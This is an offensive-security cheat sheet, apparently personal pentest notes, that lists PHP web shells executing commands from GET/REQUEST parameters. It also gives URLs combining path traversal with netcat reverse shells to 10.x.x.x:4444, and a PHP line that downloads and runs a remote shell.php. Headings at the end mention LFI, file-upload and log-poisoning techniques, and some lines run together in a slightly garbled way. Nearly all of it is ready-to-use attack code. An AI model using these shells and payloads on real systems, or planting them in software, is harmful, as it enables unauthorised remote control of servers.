php
Basics
Reverse Shell
<?php system($_GET["cmd"]); ?> ..should work
<?php echo system($_REQUEST ["cmd"]); ?> ..one I normally see
http://web/hi.php?notes=/../note.php&cmd=nc -e /bin/sh 10.x.x.x 4444
http://web/hi.php?notes=/../note.php&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 > /tmp/fDownloading
<?php system("wget $IP/shell.php -O /tmp/shell.php; php /tmp/shell.php"); ?>php explore
phpinfo - fileupload - vulnerability
phpinfo - LFI
Log Poisoning
Last updated